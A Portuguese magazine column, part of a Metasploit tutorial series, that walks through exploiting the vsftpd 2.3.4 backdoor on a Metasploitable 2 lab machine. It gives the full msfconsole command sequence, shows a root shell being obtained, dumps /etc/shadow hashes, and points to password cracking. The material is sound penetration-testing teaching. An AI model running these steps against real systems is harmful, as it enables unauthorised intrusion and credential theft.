Coluna do Alexandre
Metasploit – parte 6

Na coluna deste mês, aprenda como a efetivar um ataque bem sucedido com Metasploit através de uma vulnerabilidade já conhecida.

por Alexandre Borges

Neste mês, sem muita demora, vamos utilizar o Metasploit de forma mais incisiva. Em nosso ambiente, podemos utilizar o ambiente de desenvolvimento já instalado no Ubuntu (para o qual foi mostrado o procedimento de instalação na coluna anterior) ou ainda o Kali Linux [1], uma máquina própria para este tipo de teste (com Metasploitable 2 – [2]) com endereço IP 192.168.1.105 e um Windows XP SP2 com endereço IP 192.168.1.106. Realizando o escananeamento destas máquinas com Nessus ou OpenVAS, obtemos um número significativo de vulnerabilidades e, quem sabe, boa parte delas exploráveis. Por exemplo, escaneando a máquina Metasploitable2, descobre-se uma vulnerabilidade crítica chamada "*vsftpd Smiley Face Backdoor*" [3] e com esta informação poderemos realizar uma exploração de modo bastante direto. Digite `msfconsole` para obter acesso ao console do Metasploit e procure por um exploit para esta vulnerabilidade em específico:

```
msf> search 73573
Matching Modules
================
  Name      Disclosure Date    Rank      Description
  --        ---------------    ----      -----------
    exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03 00:00:00 UTC  excellent  VSFTPD v2.3.4 Backdoor Command Execution
```

Para saber mais sobre este exploit, proceda da seguinte forma:

```
msf exploit(vsftpd_234_backdoor) > info exploit/unix/ftp/vsftpd_234_backdoor
```

Selecione este exploit para uso e verificamos suas opções:

```
msf> use exploit/unix/ftp/vsftpd_234_backdoor msf exploit(vsftpd_234_backdoor) > show options
Module options (exploit/unix ftp/vsftpd_234_backdoor):  Name   Current Setting  Required Description
     --   -----  ----  -----
     RHOST              yes       The target address
     RPORT  21          yes       The target port
Exploit target:
     Id  Name
     --  --
     0   Automatic
```

Como o leitor pode notar, a máquina remota (a ser explorada) não está especificada com seu endereço IP e, além disso, o único tipo de alvo disponível é "*Automatic*" o que facilita a nossa vida, ou seja, o Metasploit determina automaticamente o tipo do sistema operacional:

```
msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.1.105
RHOST => 192.168.1.105
msf exploit(vsftpd_234_backdoor) > set TARGET 0
TARGET => 0
```

É necessário escolher o *payload* (código, backdoor, trojan etc.) a ser enviado para a máquina alvo uma vez ela tenha sido explorada. Este passo é essencial já que o payload nos permite, muitas vezes, acesso remoto à máquina explorada (por exemplo, se estivéssemos executando um comando Netcat sendo executado em modo de escuta). Portanto devemos executar o comando:

```
 msf exploit(vsftpd_234_backdoor) > show payloads
Compatible Payloads
===================
    Name          Disclosure    Date    Rank      Description
     --                 -----  --     -----
     cmd/unix/interact                    normal
 Unix Command, Interact with Established Connection
```

para obter mais informações sobre o payload, selecioná-lo para ser enviado para a máquina sob ataque e ainda verificar quais são suas opções disponíveis (neste caso, não haverá nenhuma opção):

```
msf exploit(vsftpd_234_backdoor) > info cmd/unix/interact
msf exploit(vsftpd_234_backdoor) > set payload cmd/
unix/interact payload => cmd/unix/interact
msf exploit(vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
     Name   Current Setting  Required  Description
     --   -----  ----  -----
     RHOST  192.168.1.105    yes    The target address
     RPORT  21          yes       The target port

Payload options (cmd/unix/interact):
     Name  Current Setting  Required  Description
     --  -----  ----  -----
Exploit target:
     Id  Name
     --  --
     0   Automatic
```

FInalmente, somente nos resta realizar o ataque propriamente dito:

```
msf exploit(vsftpd_234_backdoor) > exploit
```

```
[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned, handling...
[+] UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 3 opened
(192.168.1.107:55485 -> 192.168.1.105:6200) at
 2013-09-15 18:56:55 -0300

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr
10 13:58:00 UTC 2008 i686 GNU/Linux
id
uid=0(root) gid=0(root)
cat /etc/shadow
root:$1$/avpfBJ1$x0z8w5UF9Iv./
DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD
910:14742:0:99999:7:::
```

Mais informações

[1] Kali Linux: http://www.kali.org/

[2] Metasploitable 2: http://sourceforge.net/projects/metasploitable/files/Metasploitable2/

[3] Vulnerabilidade vsftpd Smiley Face Backdoor: http://osvdb.org/73573

[4] Como quebrar senhas: http://alexandreborges.org/2013/08/05/introduction-to-password-cracking-part-1/

Nunca foi tão fácil! Quer quebrar a senha? Use o John the Ripper [4].

Até o mês que vem. ■

Alexandre Borges (linkedin: br.linkedin.com/in/aleborges) é instrutor e especialista sênior em sistemas operacionais Unix, Linux, Banco de Dados, Virtualização, Cluster, Storage, Servidores, Backup, Desempenho e Segurança, além de possuir profundo envolvimento com assuntos relacionados ao kernel Linux.